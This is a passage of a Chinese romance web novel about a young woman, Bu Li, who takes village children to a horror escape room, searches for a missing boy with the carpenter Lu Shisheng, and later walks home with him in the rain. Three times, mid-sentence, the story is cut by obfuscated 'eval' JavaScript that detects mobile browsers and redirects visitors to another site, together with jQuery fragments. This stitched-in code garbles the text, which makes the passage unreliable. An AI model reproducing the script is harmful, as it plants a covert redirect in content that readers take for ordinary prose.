崔胖啧了下嘴,“哥们儿,这是我们姐姐,早就毕业了。” 步梨狠狠咬了咬牙,努力按捺住了已经握紧的拳头——这小子肯定是在派出所看到她的身份证了,眼睛还挺尖,也挺多嘴的。 章鱼张了张嘴,哑了片刻,“看不出来啊,小姐姐现在都工作了吗?” “没有。”步梨道,“我现在是无业游民。” 她顺便瞪了崔胖一眼。 “啊?”崔胖惊讶道,“香瓜姐,那你是啃老族吗?” 虽然他不上学,但很喜欢学习流行词汇,以彰显他紧跟时事。什么上班族,月光族,啃老族,反正城里人都被分成了多各种各样的族。 步梨终于没忍住,狠狠锤了他一拳,“非要归类的话,你姐姐我应该算是单身贵族吧。” 她朝小章鱼微微一笑,“我准备自己创业,不过还在考察阶段。” 不知从哪个房间传来阵阵凄厉的尖叫声,听上去屋里的人被吓得不轻,步梨急忙借此转移话题。 “我们玩的这个不是很恐怖吧?”毕竟几个孩子看起来胆子不大又不太聪明的样子,而她也好不到哪儿去。 章鱼露出一个神秘的笑容,“这个是微恐啦,一点点恐怖吧。” 步梨这才放心。 又总觉得他的笑容里别有心思。 当时她没细想,进到房间后,步梨才懂。 被骗了。 步梨到里面就后悔了。 这间房子是间又暗又小的病房,简陋的病床脏兮兮的,又硬又冷,墙上还有很多的血手印。 房间里只有一扇很小的铁窗,只有那里有微弱的光线进来,但窗户很高,窗外泛着红光,外面像是有台鼓风机,有嗡嗡的声音从那传来,总让人觉得那扇窗户会突然冒出一个鬼头来。 时不时有阴风刮过,正片后背都凉凉的。 还放着阴森恐怖的音乐,步梨肾上腺素瞬间飙升,只觉得随便哪个地方就可能钻出一只面目骇人的鬼来。 虽心里明知是人假扮的,可就是害怕。 步梨四肢僵硬,站在原地不敢动弹,回头一看,几个小孩竟然都在认真地寻找线索了。 步梨不想落单,尽量与方兰保持不超过两步的距离。 “啊——” 一声尖叫在耳边炸开。 步梨被吓了一个哆嗦,好在光线暗淡,没人发现,才勉强保住了大姐的面子。 “怎么了?!!!”万波和崔胖异口同声。 “步姐姐,能先松开我吗?”方兰有点无辜。 步梨摸了摸脸颊,不好意思地晃了晃手,“激动了,你们继续。” 方兰道:“我找到了一本相册。” 这间病房里曾经住着一名叫妮可的女孩,她因一场事故而导致失忆,忘记了过去的一切,只能靠相册来回想从前的事情。 崔胖和万波都凑过来看相册。 步梨也跟着看,发出一个深刻提问:“失忆的人看相册里过去的自己,会觉得陌生吗?” “不知道,”崔胖随口说道,“生哥没事也爱翻他那些旧照片。” “他可能觉得自己小时候很可爱吧,天天抱着相册看。” “他小时候很可爱吗?”步梨在脑子里努力幻想了一下陆时生小时候的样貌,感觉他怎么都没法儿跟可爱沾上边儿,最终幻想以失败告终。 崔胖撇了撇嘴,不屑地嗤了一声,“你说男大是不是也会十八变,他小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15375874|168336||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时候长得也没那么帅。” 方兰道:“可我二头哥说,生哥当年是他们班的班草。” 崔胖道:“那可能他们一整个班的人都很一般吧。” 步梨在一旁笑出声。 听着他们这样聊天,倒也没那么害怕了。 谁料刚放松些许,转身时正好看到墙上多了个人脑袋,步梨以为自己眼花了,被吓到产生幻觉,可定睛看去,那头发蓬松,双目通红,流着血泪,目光呆滞的脸,分明是一个真人的脸。 步梨当即魂飞魄散。 她后背上的汗立马就下来了,连叫声都发不出来,只觉得身上所有毛孔都被打开,强行被灌入一阵冷风,人被冻在原地。 “香瓜姐姐,走不走?” “啊?”步梨声音打颤。 “你的手好凉。”方兰握住她的手,给她呼了呼。 步梨强作镇定,伸手指了指,“你们没看到吗?那有颗人头。” 方兰一笑,和声道:“那是NPC,应该扮的是妮可吧,鱼蛋儿刚刚解开了密码,打开了机关,那有间地下室。” 步梨深吸口气,“哦哦。” 不想去地下室。 她推了推旁边的万波。 “你们男人走前面。” 方兰贴心道:“步姐姐,别害怕,都是人扮的啦,你拉着我的手。” 步梨心里有点委屈,她何必要花钱来这暗无天日的地方给自己找罪受! 如今也顾不得什么面子不面子了,“小兰兰,你可得帮姐姐看着点,别让NPC过来。” 走在最前面的万波十分镇定,还不忘回过头来嘲笑步梨一句:“姐,你一个人住那么大房子都不害怕,怎么现在被吓成这样?” “那能一样吗!”步梨咬牙反驳了一句。 家里多温馨啊,这是个什么鬼地方,黑漆漆的,还时不时有人扮的假鬼出没,四处吓人! 接下来几个房间,步梨也不装了。 她全程扮演方兰的挂件,非必要时刻就闭着眼,以防有NPC贴脸杀。 至于解密,拉倒吧,反正她从小脑子就不好使。 站在这里,她感觉时间过得好慢好慢,在黑暗的深渊苦苦熬了好久才重见天日。 剧情是什么她也没记住,当时就光顾着保命了。 她很辛苦地熬到结束,终于呼吸到了新鲜的空气,步梨满脑子都是废旧医院里断裂的水泥墙壁,冰凉脏污的瓷砖,带血的手印。 荒凉又可怖。 万波直男一枚,一点儿也不给步梨留面子,“步梨姐,你也太弱了,解密的事儿是一点儿也没帮上忙。” 步梨喘了口气才有力气反驳,“那又怎么样?最后还不是我发现,那些相册里的照片都是假的,有P图痕迹,有人想强行给妮可灌输错误的记忆,要不是我发现了这点,咱能出来吗?” “不过确实好可怕,有种细思极恐的感觉,”方兰帮着步梨说话,“妮可那些美好的回忆都是别人捏造的。” “所以我也是不忍心,咱们的任务是揭开真相,同时也打破了妮可的美好回忆,将她重新带回残酷的现实。”步梨为自己找了个理由,朝着万波做了个鬼脸。 万波被迫认同她的说法,“步梨姐,其实你挺厉害的,一眼就能看出其中有的照片是P的。” “当然,那里面的光影构造都有问题。” 步梨重拾回自尊,她可是皇家美术学院优秀毕业生,江北艺术大学破格录入的美术老师。 只可惜世事无常,现在沦落至此,被这俩小孩嘲笑成胆小鬼。 步梨回首完过去,收起怅惘的情绪,回过神来,忽然发现身边只剩下两个小鬼了。 崔小胖子不见了。 8. 惹祸精苦守茅房 望潮木工坊。 陆时生又找到一个“香瓜女士”的快递。 早上崔胖发来消息说,步香瓜生病了,怕不是刚到这里水土不服,吃坏了肚子。 让崔胖那个毛手毛脚的小孩照顾,病怎么可能好? 他等着到下午店里清闲的时候,把朵朵喊过来帮忙看店,自己去药店买了点药,准备去看看步香瓜。 朵朵一双亮晶晶的眼睛看着陆时生,“时生哥哥,你是去找那个鬼屋姐姐吗?” 这小孩鬼精鬼精的,看着在老老实实写作业,其实把什么事儿都听去了。 陆时生纠正她道:“她不叫鬼屋姐姐,你可以叫她步梨姐姐,或者香瓜姐姐。” 朵朵好奇地问:“那她是不是又香又甜?” 陆时生摇摇头,随口道:“没尝过。” 朵朵咧嘴笑了几声。 陆时生忽然觉得这话说得不太妥当,暗暗骂了自己一声,带上东西匆匆出了门。 绿柳街12号的院门没锁,陆时生到了之后按了门铃,等着里面来开门。 一时没有动静,他索性先绕着院子的篱笆转了一圈,发现西边靠近海棠树的下方确实有几处篱笆的根部腐烂,又有生长过于繁茂的野蔷薇爬上来,把篱笆压塌了。 他仔细检查了一番,如何修补心里有了数。 回到门前时,并没有人出来,他又按了几下门铃,许久都没人回应。 晕过去了? 陆时生有点担心着,手机忽然响了,来电显示是【一颗香瓜】。 步梨? 他接起。 “陆时生,那个——” 对面传来慌张的声音,陆时生心莫名一紧,又有些茫然,“怎么了?” “崔胖不见了。”听声音,步梨像是要急哭了。 从密室出来后,她跟方兰还有万波把周围各处找了个遍,都没有见到崔胖。 今天店里人来人往,章鱼小客服也没留意崔胖去哪了,只隐约记得好像是有个小胖子自己出去了。 “你们去哪了?”陆时生还处于一脸懵的状态。 到这个关头,步梨只好实话实说。 她做好了迎接暴风雨的准备,还可能挨顿臭骂,但这些都不重要了,现在最重要的事是找到崔胖。 陆时生得知了他们早上合伙撒谎骗人,竟没生气,他想了想,对步梨说道:“先别着急,他那么大一人不会丢的,估计是自己跑哪玩去了,你们先再找找,甜品店,炸鸡店之类的,还有洗手间,都找一遍,我现在赶过去,到了联系。” “好。”步梨使劲儿点头。 挂了电话,她便带着方兰和万波一块继续找崔胖。 “崔胖该不会被人贩子骗去了吧?”方兰忽然说了句。 她随口一说,步梨听过去面色瞬变,“你们这儿有人贩子吗?” “倒是没有,我就是小时候听过人贩子的故事,好像还是个诈骗团伙。”方兰道。 万波道:“有算有,人贩子也不会拐骗崔胖那样的吧,他太能吃了。” “肯定不是的。”步梨没心情开玩笑,找了这么多地方都无果,她是真的担心。人是她带出来的,她一定得负责到底,找到崔胖。 陆时生来得很快,他去菲姐的炸鸡店借了辆车,二十分钟就开到了县城。 跟步梨汇合时,崔胖依旧没被找到。 “监控呢?有吗?”陆时生问。 步梨一脸愁容,“问过了,他们只有密室里面的,能看到崔胖出来了,但外面没安摄像头,旁边的那家又不给看。” 陆时生往四周看了一圈,目光一定,说道:“走,去那家问问。” 他说的是一家理发店,位置在异界密室空间的斜对面。 进店后,有位一头卷发的大姐正在嗑瓜子,见到陆时生,脸上顿时浮起笑容,将嘴里的瓜子皮一吐,起身道:“诶呦,小陆来啦?带这么多人来?团队做造型吗?” “今天不做造型,有别的事儿,小荷姐,帮个忙呗。”陆时生道。 步梨学到了,要搁她,随口就喊阿姨了。 “想看看监控,找个人。” 陆时生不仅嘴甜,语气神情也十分自然,让人油然生出一种亲近感。 荷姐目光扫了一眼步梨,还有方兰和万波,“行是行,就是这玩意儿我不会弄啊。罗阳——” 她头一偏朝着屋子里喊了句。 从里屋走出来一个二十来岁的男人,头发炸毛,穿着人字拖,嚓嚓嚓地拖着脚步一路走出来,正好站到了陆时生的身边。 “帮你陆叔找找监控。”荷姐吩咐道。 步梨被称呼搞乱了,她看了眼罗阳,又看了眼陆时生,觉得罗阳挺委屈的,他看上去比陆时生也就小了几岁。 罗阳走到电脑跟前,抬眼看了看陆时生:“生哥来了啊,看监控干嘛啊?” 步梨:“......” 这什么辈分? “惹祸精呗,找崔胖子。”陆时生叹口气。 罗阳一边操作一边问:“咋?崔胖子丢了?他不会是自己吃炸鸡去了吧?” “没有,附近的炸鸡店、蛋糕店、寿司店、奶茶店全都找了,去密室之前,我们吃了很多东西,他应该不会再去找东西吃了吧。”步梨开口道。 她一说话,罗阳的目光随即注意到她,又意味深长地看了眼陆时生,本想问几句,但罗阳见大家都在急着忙正事的样子,便将到嘴边的话咽了下去。 “停一下。” 罗阳听到陆时生开口,按下暂停键。 “倒回去一点。”陆时生道。 罗阳照做,随即也注意到了画面里的一个身影。 崔胖从镜头里飞快跑过,他边跑边四面看,神色看起来十分慌张。 “他看什么呢?有人追他?” 罗阳发出疑惑。 陆时生若有所思地盯着画面里的人,外面冷得很,这孩子还把外套缠在腰间。 沉思片刻后,他露出一个无奈的表情。 “我去,该不会是——”罗阳也挺聪明,隐约猜到崔胖行为背后的原因,他正要笑出声,胳膊就被陆时生掐了一下。 “啊——生哥你掐我干嘛!” 陆时生道:“谢了,关了吧。” 说罢,又在罗阳耳边道:“别说出去,不然要你好看。” “找着了?”小荷姐过来问道。 陆时生换做笑脸,“嗯,知道在哪了,小荷姐,那我们先走了,多谢。” 小荷姐笑着摆了摆手,“没事儿,找着了就行。” 陆时生出门前,又想起了什么,转身说道:“对了,小荷姐,这次来得匆忙,本来想给您带的海鲜酱让我给忘家里了,我爸都装罐子里保存好了,说哪次来县城给您带过来呢。” “我上回随口一说的,亏你还想着呢。”何姐笑逐颜开。 陆时生道:“忘不了,下次一定给您带过来,好吃着呢。” 步梨和陆时生在店里看监控的时间,方兰和万波还在外面找,出了门口,步梨正要喊他们过来,胳膊被陆时生拉了一下。 “方兰和万波他们没看到,正好也别告诉他们了,青春期的小孩爱面子。” 步梨听过点点头,觉得陆时生考虑得十分周到,她就顾着快点找到人了,竟没想过这些事。 “我过去就行了,你跟方兰还有万波他们找个地方等我。” “好。”步梨答应。 陆时生走后,步梨带着方兰和崔胖找了个长椅坐着等。这一通忙得步梨都出汗了,这会儿坐下来,才觉得外面冷风嗖嗖,手都冻红了。 方兰问道:“步梨姐,看到崔胖了?” 步梨叹了口气,“唉,看到了,吓死我了,还以为人丢了呢。” “那他在哪呢?” “看监控里,他应该是肚子疼,去那边上洗手间了。” 方兰和万波都没怀疑,只不满道:“谁让他之前吃那么多!” 说到吃,步梨又觉得饿了,刚才在密室里消耗太多,这会儿又冷,正好旁边有家奶茶店,她点了五杯热的奶茶,等陆时生他们回来一块喝。 不过,崔胖那小子八成不敢再喝水了吧。 真是不成熟,在密室里吓得尿了裤子,就躲起来,也不管他们会不会找他!等一会儿陆时生把崔胖带回来,她非骂他几句 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15375875|168336||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不可! 正想着,就看到陆时生和崔胖回来了。 崔胖蔫巴巴得跟在陆时生后面,面如土灰,目光里尽是哀怨,步梨方才还一肚子气,此刻看到他这副模样,火气顿时消了三分,还有点想笑。 “崔胖,你怎么不打声招呼就走啊,肚子还疼不疼了?”步梨佯做关心,说完瞪了他一眼,以表愤怒。 崔胖生硬地挤出一句,“没来得及。” 他看了眼万波和方兰,脚步都迈不开了。 步梨在他耳朵边上悄声说道:“放心吧,他俩不知道。” 崔胖这才放心回归队伍。 万波:“崔胖子,我和兰兰还有步梨姐找了你半天!你以后别乱吃东西了!” 方兰:“对啊,你该减减肥了!而且你先跟我们说一声不行吗?” 崔胖:“诶呀肚子疼得厉害,哪来得及啊。” 方兰:“你拉了这么半天,没事吧,还喝奶茶好吗?” 崔胖:“没事,都拉空了,得喝点东西。” “......” 三人在那边你一言我一嘴,到底还是孩子,崔胖方才的局促很快消失,没说几句就若无其事地喝起奶茶来。 步梨和陆时生也小声聊了起来。 “他还真在厕所躲了一个多小时啊,你怎么说服他出来的?” 陆时生笑了笑:“那里面就一间锁着门,敲了敲里面人也不回应,我就知道是那臭小子了。” 步梨忍不住轻笑了声,看到崔胖的裤子是新的,只是和之前那条一样都是黑色的,所以换了也不容易看出来。 “你们玩的什么啊?把这小子吓到尿裤子。”陆时生问。 “叫《妮可的住院日记》,你玩过吗?”步梨问。 “没有,我从不玩这些。” 步梨一听他不玩,便兴致冲冲地跟他讲起了剧情。 “妮可是个十三岁的小女孩,因为车祸失忆后,精神不太正常,一直被关在医院里,她很想想起以前的事,所以每天都看相册......” 陆时生似乎没什么兴趣,“走吧,我开了车过来。” “哦。” 步梨叫上孩子们,跟着陆时生去到停车场,一辆黑色的奔驰车响了一声,像是在迎接他们。 几个孩子兴奋地跑过去,迫不及待就想上车。 步梨倒是没想到,陆时生是个隐藏的富二代?这车应该不便宜吧。 “你的车这么气派啊?” 陆时生道:“找菲姐借的,我哪来的车?” 步梨问:“菲姐?哪个是菲姐?” 陆时生道:“你以后会认识的。” 崔胖抢着说道:“菲姐老有钱了,她开了家炸鸡店,非常好吃,就在菜市场那边。” 三个小孩很自觉地坐到了车后座,步梨只好去到副驾驶坐。 打开车门时,副驾驶的座位放了一个透明的塑料袋,里面是几盒药。 步梨问:“谁生病了要吃药?” 陆时生道:“不是你吗?” “我没病啊。”步梨随口说完,才想起早上撒谎骗陆时生的事情。 果然人不能撒谎,露馅儿时的尴尬承受不来。 陆时生意味深长地看了她一眼。 步梨咧了咧嘴,因为心虚,也没敢说话,跟个犯了错误的小孩一样,呼吸都是轻轻地。 车后座三个小鬼也都坐得板板正正,同样大气都不敢出。 车上静悄悄的,气氛微微有些微妙。 陆时生发动了车子出发。 一路开到宽阔的海边大道,路上车很少,他侧目看了眼步梨之后,长叹一口气,却什么也没说。 过了会儿,步梨没忍住,鼓起勇气开口问:“为什么叹气?” 陆时生摇着头叹道:“叹气咱们镇上有一个惹祸精1号,现在又填了个惹祸精2号。” 步梨从小就是个乖孩子,很少惹祸。 这还是第一次有人送给她惹祸精的名号,不过也纯属是个意外,她想要反驳,崔胖却在这时笑吟吟地补刀:“步梨姐,你排在我之后哦。” 步梨:“......这有什么可比的!” 9. 和陆时生雨中漫步 望潮木工坊。 朵朵正在柜台前写作业,听到外面车响,忙把笔一丢,跑出去看。 步梨从车上下来的时候,见到一个扎了双马尾的小女孩瞪着圆圆的大眼睛看她,看个子大概七八九或者十一二岁吧。 “有客人。”她对陆时生说。 陆时生道:“不是客人,是小收银员。” 步梨“啊”了一声,猜出来她可能是陆时生上次去接的小孩,说是他经常帮忙照顾。 步梨走上前打了个招呼,“小妹妹你好,叫什么名字啊?” “我叫朵朵。” 朵朵一双眼睛特别大,仰着脑袋打量了步梨一番,问道,“你是香瓜姐姐吗?” 步梨惊喜道:“你认识我啊?” “我猜的,听说香瓜姐姐特别特别漂亮,所以我看见你就能猜出来。” 步梨听了这话,跟吃了蜜饯一样心里甜滋滋的,觉得眼前的小姑娘愈发可爱,“听谁说的?陆时生?” 朵朵点点头。 步梨心情大好,脚步轻盈地进了店铺里面。 因为白天他们带来的麻烦耽误了陆时生的工作,现在店里一堆快递待收,所以包括步梨在内的几个当事人都被陆时生扣下帮忙整理快递了。 念在方兰和万波明日还要上学的份儿上,陆时生便早早让他们回去了,只扣下了本该在店里帮忙的崔胖,还有倒霉并且无所事事的步梨。 收快递的活儿看似简单,实则十分累人,要一一编上号,发短信,还要按号码摆放到相应的货架上。 一直到晚上8点,所有的快递才算归位。 步梨之前从没干过这样的活儿,干完觉得头昏脑涨,能量全都被耗尽,肚子里空空的。 她站起来伸了个懒腰,肚子却不争气地叫了一声。 陆时生正站在她边上,将这咕噜声听得清清楚楚。 步梨摸了摸肚子,尴尬地笑了一下,“不好意思,晚饭还没吃,有点饿了。” “吃完晚饭再走吧,我送你回去。”陆时生道。 步梨也没客气,帮陆时生干了这么久的活儿,他管顿饭也是应该的,“吃什么?” 陆时生神秘一笑,“等着吧,有好吃的。” 十分钟后,陆时生端来了一锅泡面,步梨皱着眉头看了看,“原来这就是好吃的啊。” “今天忘了买菜,晚饭只能凑合一下,等下次请你吃顿好的。” 步梨想到陆时生没空买菜估计也是因为他们惹了祸的原因,一时有些愧疚,不好意思地点点头,“好吧,你会做饭吗?” “算是会。”陆时生说着,夹了个鸡蛋到步梨碗里,又给朵朵夹了一个。 朵朵咧着嘴兴奋道:“香瓜姐姐,时生哥哥煮的面可好吃了。” 步梨道:“是吗?” 崔胖在一旁点头附和,“好吃,我作证,生哥,我的蛋呢?” 陆时生道:“锅里有,你自己翻翻。” 崔胖撇了撇嘴,还是得自食其力。 步梨吃了一口,确实有被惊艳到,陆时生煮的泡面居然非常好吃,汤汁浓浓的,鲜香中还带着些奶味。 “怎么有股奶味?” “加牛奶了。” “原来还可以这样,没想到你对厨艺还挺有研究的。” 步梨学到了,她还从没这样吃过,口感别有一番风味。 陆时生点点头,“嗯,会的不多,但少而精。” 他一点儿也不谦虚。 步梨吃了一大碗,感觉肚子饱饱的,非常舒服,吃完崔胖就自己回家了,朵朵也被她奶奶喊了回去,店里只剩下步梨和陆时生两个人。 步梨没着急回去,她经历过密室那一番后,还有点后遗症,看周围都疑神疑鬼的,便在陆时生的店里多坐了会儿。 晚上,她坐在火炉旁烤火。 早春的天其实已经回暖了,大概是怕她冷,陆时生回来的时候就将火生了起来,火炉中的火热烈地燃着,两条腿被烘得暖洋洋的, “要橙子但还是葡萄的?”陆时生给她拿了个果冻当做饭后小甜点。 “葡萄的,对了,崔胖怎么不跟方兰他们一样去上学?” “在学校跟人打架,被退学了,崔大伯与我爹关系好,便让他来我这打工,体会一下赚钱的不容易。” “这样啊,怪不得他有事老找你。”步梨拍拍腿,站起身,“我也要回去了。” 天色已晚,她再在这里待下去,有些不合适。 “好,我送你回去。”陆时生也站起身。 出门的时候,一股潮湿的空气迎面而来,两人这才发现外面正在下雨。 陆时生转身回屋,“我去拿把伞。” 步梨在门口等他,她把手伸出去,细密的雨落在掌中,带着一股凉意化开来。 刚才在屋子里没察觉,也没听到雨声,但这会儿,雨还是很密的,天边不断有轰隆的闷雷声。 “走吧。” 陆时生出来时,手里拿了把很大的黑伞,撑开后,刚好可以把两个人都遮住,还不至于站得太近。 他人长得高,撑着伞对于步梨来说有点高,步梨总觉得头上空空的,有点没安全感,抬头看了看,才确定伞面确实掩严严实实地挡在她头上,这才安心地低了头。 雨愈发大了起来,也不像起初那般细密,而是变成豆大的雨滴噼里啪啦砸在伞上。 一道闪电从头顶劈过。 陆时生虽然腿长,但走得不是很快,步梨竟然还得刻意放慢步伐,才与他的节奏保持一致。 起了风。 冰凉的雨点随着夜风往人衣领里钻,步梨缩了缩脖子,庆幸今天穿的卫衣是加厚的,晚上走在雨里也不是很冷。 “你站这边。” 陆时生和她换了个边,他站在迎着风的方向,可以挡住伞遮不住的雨点。 “谢谢。” 步梨抬眼望了望,不远处的屋檐下形成了一条条晶莹的水线,地上也出现很多水坑,映着路灯的光和漆黑的夜。 风吹过树林,发出沙沙的声响,整个村子被笼罩在一片水雾之中。 “下雨的时候,在外面走走,还挺有感觉的。” 步梨发出一声感叹,她觉得陆时生走得这么慢,估计也有同感。 从前她一直在大城市生活,每天在高楼大厦里穿行,出门就是坐车,几乎是脚不沾地,头不见天,下雨的时候只想着快些回家,直到来了花溪镇,她才感受到什么是大自然,什么是慢生活。 “你们这种从大城市里来的,是不是看到这里的什么都觉得新鲜?” 陆时生来了句。 步梨愣了愣,挤出一个笑容。 还以为他跟她同频呢,没想到她想错了。 也是,陆时生常年在这儿生活,就跟她之前在江北一样,对周边的景物都看倦了。 她大方承认,“对啊,我看着这些房子啊,树啊,都挺新鲜,人也挺新鲜的。” “我看着你们城里人也新鲜。”陆时生逗她玩。 步梨啧了一声,“快走吧。” 她把衣服裹紧了些,加快脚步。 陆时生追上去,“你慢点,走那么快,都被淋到了。” 步梨略嫌弃,“你就不能走快点吗,亏你腿那么长。” 两人一路走到绿柳街12号,见步梨进了房门,陆时生也便转身回去。 家里一片漆黑,步梨这才想起来卧室的灯还没修。 此刻,步梨总算尝到了拖延症的恶果。 雷雨天,密室的恐怖景象历历在目,家里光线又一片昏暗,空旷的房屋,让步梨的心情雪上加霜。 她脑海里总是不受控制地浮出密室里的场景,凄凉破败的精神病院,血淋淋的瓷砖,还有窗户里突然冒出来的人头。 她越是强迫自己不去想这些,大脑就越是偏要去想,仿佛身体的每一个细胞都在跟她作对,眼睛还总是往窗外,门口,镜子里,各种地方去看,她总觉得那些地方可能会突然冒出来一个人头,睁着血淋淋的双眼在瞪她。 轰隆—— 一声惊雷劈下来,把步梨劈了个猝不及防。 她身体一个哆嗦,不自主地发出一声尖叫。 怕成这样,今晚还怎么睡觉? 步梨飞快上楼,潦草洗了把脸后,快步回了卧室,把门锁了后,又去关窗,她还是没忍住,往窗外看了一眼。 不知道是不是眼花了,她看到一把大黑伞,一直在路边没动。 那不是陆时生吗?他怎么还没走? 步梨望了一会儿,大黑伞确实一直在原地没有动。 她心里疑惑,于是下楼出去看,陆时生坐在路边湿漉漉的水泥台上,伞挡着他,步梨也看不见他在做什么。 坐在这,不嫌湿吗? 步梨不太理解,拧着眉头喊他:“陆时生,你在干嘛?” 陆时生似乎一开始没听见她的声音,反应迟缓了一会儿后,才把伞扬起来,缓缓抬头。 伞下渐渐出现一张峻冷的脸,步梨这才发现他什么也没干,就是干坐在这儿。 见是步梨,他低声喃了一声,“步梨?怎么出来了?” 他嗓子有些哑,声音里带着重重的喘气声,导致有些混音,说完又垂下头,微微弓着身子,右手按在膝盖上。 步梨抿了抿嘴,“关窗的时候看到你还没走,所以来看看。” 陆时生侧目望了望,“哦,看了下篱笆,坏了的几处都是从根部就腐烂了,修补的话,可以用防腐木做木桩,撑十年基本没问题。” 步梨笑了,她有些吃惊,“这么敬业!大雨天的还帮我看怎么修篱笆。” 陆时生点点头,“你同意这个方案的话,下次我就直接带工具过来了。” 步梨肯定道:“同意,结实和美观就行。” 陆时生道:“那些蔷薇花我也会帮你留着,尽量不去破坏。” 步梨觉得他们两人站在大雨里讨论怎么修篱笆这事儿挺奇怪的,“这篱笆不着急着修,下这么大雨,你先回去吧。” “我待会儿就走。”陆时生的手在膝盖处暗暗捏紧。 步梨觉得他有些异常,“怎么了?” “腿疼。”陆时生轻飘飘说了句。 他声音里透着随意,步梨以为他在开玩笑,“让你走快了几步就腿疼了?” 陆时生听到她这话,露出一个既无奈又无语的表情,“不是,因为下雨了,空气里太潮湿,腿疾犯了。” 步梨皱了皱眉,“你有腿疾?早知如此,我就自己回来了。” 她为自己带来的麻烦有些不好意思。 陆时生摆摆手,“没事,一会儿就好了。” “要不你去我屋子里歇会儿吧,在这儿坐着不更容易受凉吗?” 步梨走近了,察觉到他额头都出汗了,起初还以为是雨水,现在看,应该是疼得出了汗。 陆时生摇摇头,“不用。” “走吧。”步梨再次邀请。 陆时生想了一会儿。没拒绝。 他一瘸一拐地进了屋子,四下望了一番,不禁开口:“你不会真是女鬼吧?” “啊?”步梨疑惑。 陆时生问:“怎么不开灯?” 步梨握拳,气道:“我灯坏了!” 陆时生道:“那怎么不修,打算返璞归真,日出而作日落而息?” “没来得及。”步梨抹了把额头上的雨水,他这个时候还有心情调侃,说明腿疾也不是很严重吧。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15375876|168336||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 虽然态度冷淡,但步梨一直念着陆时生是个病人,照顾上一样不少。 她给陆时生倒了杯热水,拿了条毛巾给他,去了衣帽间。 这层的衣帽间算是一处小储藏间,主要是她爷爷奶奶的衣服,里面还有些她奶奶收藏的名画和一些古籍,步梨不常来。 四处阴沉沉的,只有一个小窗户,步梨打着手电进来四处照了照,看见那扇小窗,忽然觉得这里与密室医院里的小窗无比相似。 “自己家,自己家......” 她一边翻找衣服,一边在心里默念。 衣柜门打开时,一个黑乎乎的东西掉落下来,步梨下意识往后退了一步,闪电在这时不合时宜地劈下来,眼前一件件衣服就像是被吊在半空的死人一样,雷声轰隆隆敲击着耳膜。 砰砰砰—— 步梨感觉自己的心跳到了嗓子眼。 恐惧的感觉包裹了全身,步梨大脑一片空白,情不自禁地跑出门,喊了句,“陆时生,你还在下面吗?” “怎么了?”陆时生正拿毛巾正擦着身上被雨打湿的地方,听到步梨叫他,不明所以地回应了句。 听到陆时生的声音,步梨长长吐了口气。 “哦哦,没事,你先自己坐一会儿,我找点东西。” 过了一会儿,步梨从楼上下来,左胳膊上跨了条毛毯,右手上拿了条黑色的裤子。 “裤子湿了吧,换上这条吧。” “刚才怎么了?”陆时生问。 步梨死要面子,担心陆时生笑话她,只道:“没事啊,我就是确定你在不在,给你找一条裤子。” 陆时生没再多问,低头接过步梨手中的裤子,打量着道:“你的?能穿吗?” “是我爷爷的。”步梨挑眉,“我又不傻,怎么会给你穿我的裤子?” 陆时生这才接过,“去哪换?” 步梨指了指洗手间的方向。 陆时生站起来,拖着脚步,依旧是一瘸一拐的姿势进了洗手间。 门被咔嚓一声锁上。 步梨收回目光,心道:还挺谨慎的。 她坐在沙发上等他。刚才她忙上忙下,害怕的心情也被抛之脑后。一时间,她居然自私地想让陆时生的腿晚点再好,这样省得她一个人待在房子里想那些鬼。 陆时生过了很久才换完裤子,他个子高,那条老式的肥腿裤在他腿上穿着短了一截,看上去有些搞笑。 步梨忍不住笑了一声,陆时生坐到沙发上,拿毛毯将腿盖住。 “有那么好笑么?” “你为什么有腿疾啊?”步梨问道。 陆时生看着年轻力壮,实在与腿疾沾不上边。 “年轻的时候不知天高地厚,经常跟人打架,辍学后四处乱跑,出去探险,遇到雪崩,险些丧命,落下病根算是好的,好歹捡回一条命。” “你年轻的时候这么疯狂啊。” 步梨的语气里含了些惊叹。 陆时生觉得他不能算是疯狂,应该说是不自量力,出事后他在医院躺了不少日子,老陆为了给他筹医药费,欠下很多债务,去年刚还完。 他现在也收了心,踏踏实实帮着老陆经营自家的木工坊。 步梨又问:“那你腿疼的时候,一般多久好啊?” 陆时生道:“歇会儿,暖暖就好了,你要是困了,就先回去睡,不用管我,放心,一会儿我就走了。” “那你等一下。” 步梨回了屋子,乒乒乓乓翻找了一会儿,再出来时,手里拿了个暖水袋给陆时生,“你把这个敷在腿上,一会儿要是腿不疼了,就自己回去哦。” 言外之意就是,“不能留在这里过夜哦。” 她是不敢随便留下不熟的男人在家里过夜的,一个村儿的也不行,更何况村子里其实是非常容易传闲话的地方。 